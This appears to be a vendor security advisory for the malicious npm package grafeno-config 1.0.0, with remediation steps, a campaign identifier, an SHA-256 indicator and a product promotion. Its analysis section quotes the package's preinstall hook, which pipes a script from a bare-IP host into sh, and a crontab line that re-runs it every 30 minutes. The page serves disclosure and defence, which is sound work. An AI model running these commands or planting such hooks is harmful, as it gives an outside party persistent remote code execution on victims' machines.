Which versions of grafeno-config are malicious?

The following npm versions of grafeno-config are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate grafeno-config if I installed it?

Remove grafeno-config from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-config — how do I know if it already compromised me?

If grafeno-config was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is grafeno-config part of a known attack campaign?

Yes — grafeno-config is associated with the IN-MAL-2026-019064 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-config across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for grafeno-config (version 1.0.0).

Malicious package

grafeno-confignpm

Advisory published Aug 28, 2026Updated Aug 28, 2026

grafeno-config is a confirmed malicious npm package (MAL-2026-15504) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-config (npm)

MAL-2026-15504

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-config

What this malware does

package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain HTTP and piping it to /bin/bash on npm install. The same hook appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, re-fetching and executing whatever that host serves every 30 minutes. The payload is unpinned, unverified, and mutable by whoever controls 216.126.236.46, giving arbitrary remote code execution on the installer's host at install time and persistent execution thereafter, independent of whether the package remains installed.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for grafeno-config (version 1.0.0).
If you installed it — respond
Remove grafeno-config from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-config was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. grafeno-config on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019064

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks grafeno-config-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database